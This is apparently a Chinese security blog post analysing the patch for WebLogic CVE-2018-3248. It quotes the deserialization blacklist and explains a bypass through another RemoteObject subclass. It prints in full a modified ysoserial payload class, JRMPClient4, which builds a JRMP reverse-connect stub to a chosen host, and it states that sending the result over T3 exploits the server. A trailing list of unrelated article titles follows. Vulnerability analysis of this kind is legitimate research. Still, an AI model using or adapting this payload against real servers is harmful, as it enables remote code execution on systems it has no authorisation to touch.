Java安全之Weblogic 2018-3248分析

0x00 前言

基于前面的分析,后面的还是主要看补丁的绕过方式,这里就来简单的记录一下。

0x01 补丁分析

先来看看补丁细节

private static final String[] DEFAULT_BLACKLIST_PACKAGES =
{ "org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation",
"sun.rmi.server" }; private static final String[] DEFAULT_BLACKLIST_CLASSES =
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
"java.rmi.server.RemoteObjectInvocationHandler" };

对比上一个补丁添加了如下内容:

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

0x02 绕过分析

新的补丁添加了新的内容,将RemoteObjectInvocationHandlerUnicastRemoteObject都拉入了黑名单。

但是在新的漏洞给出的绕过方式是使用其他类替代RemoteObjectInvocationHandler类即可完成绕过。

绕过条件:

  1. 不在黑名单内(废话)
  2. 继承java.rmi.server.RemoteObject的子类

先来查看RemoteObjectInvocationHandler的继承。

该类继承RemoteObject类,CTRL+H查找RemoteObject的子类。

发现子类还是挺多的。下面更改一下yso内容即可绕过。

改动yso

package ysoserial.payloads;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random; @SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient4 extends PayloadRunner implements ObjectPayload<Object> { public Object streamMessageImpl(byte[] object) {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
} public Object getObject ( final String command ) throws Exception { String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
} public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient4.class.getClassLoader());
PayloadRunner.run(JRMPClient4.class, args);
}
}

改完yso重写打包,将生成的payload使用T3协议传输过去即可绕过,利用成功。

参考文章

https://www.cnblogs.com/afanti/p/10256840.html

https://xz.aliyun.com/t/2479#toc-2

0x03 结尾

本篇内容较短,其实还是因为找不到补丁,分析起来没啥意思。

最新文章

  1. Leetcode: Sudoku Solver
  2. Processing 电子罗盘校准(以 MPU9250为例)
  3. ASP.NET常用的SqlDbHelper类
  4. 说一下output子句
  5. 如何设置缺省路由 route hosts(仅助记) 马连洼 马连洼 马连洼
  6. 轻松了解Spring中的控制反转和依赖注入(一)
  7. M1-S70卡片介绍
  8. 教你用笔记本破解无线路由器password
  9. Spring注入
  10. 2020考研-必须了解的干货&quot;极限微分和你说的悄悄话&quot;
  11. 深入浅出mybatis之缓存机制
  12. ajax多图上传
  13. 小程序 滚动wx.pageScrollTo
  14. 初识python异步模块Trio
  15. 图解安装Debian 9.5全过程
  16. CodeForces - 455D
  17. 在MATLAB中安装MinGW-w64 C/C++ 编译器的方法
  18. Centos7安装配置MySQL5.7
  19. 控件activeX开发之项目ffmpeg解码h264——总结
  20. C++学习笔记(3)----类模板的static成员

热门文章

  1. selenium IDE使用-1
  2. [日常摸鱼]Luogu1801 黑匣子(NOI导刊)
  3. Yii 文件上传类的使用
  4. 使用Ubuntu手动安装NextCloud
  5. win7开机登录界面壁纸修改
  6. 【vue】入门介绍
  7. libzip开发笔记(一):libzip库介绍、编译和工程模板
  8. 2020DevOps状态报告
  9. LeapMotion控制器 java语言开发笔记--(LeapMotion控制器简介)
  10. Spark Streaming和Kafka整合是如何保证数据零丢失